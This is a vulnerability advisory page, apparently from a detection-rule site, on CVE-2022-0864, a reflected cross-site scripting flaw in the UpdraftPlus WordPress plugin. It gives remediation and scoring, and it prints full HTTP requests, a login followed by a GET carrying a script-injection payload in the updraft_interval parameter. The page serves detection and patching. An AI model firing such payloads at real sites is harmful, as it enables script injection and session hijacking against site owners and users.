🔙 목록으로 돌아가기

CVE-2022-0864: UpdraftPlus < 1.22.9 - Cross-Site Scripting

TitleUpdraftPlus < 1.22.9 - Cross-Site Scripting
AuthorDhiyaneshDk
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
RemediationUpdate UpdraftPlus plugin to version 1.22.9 or later to mitigate the vulnerability.
CVSS Score6.1
EPSS Score0.04513
CVE IDCVE-2022-0864
CWE IDCWE-79
Tags wpscan cve cve2022 xss authenticated updraftplus wp-plugin wp wordpress vuln

🔍 Vulnerability Description

The plugin does not sanitise and escape the updraft_interval parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting (XSS) vulnerability.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0.1 Safari/605.1.15
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Origin: /
Accept-Encoding: gzip

log=uHBpdB&pwd=nKyYEx&wp-submit=Log+In&testcookie=1
GET /wp-admin/options-general.php?page=updraftplus&updraft_interval"></script><script>confirm('document_domain')</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0864.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0864.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A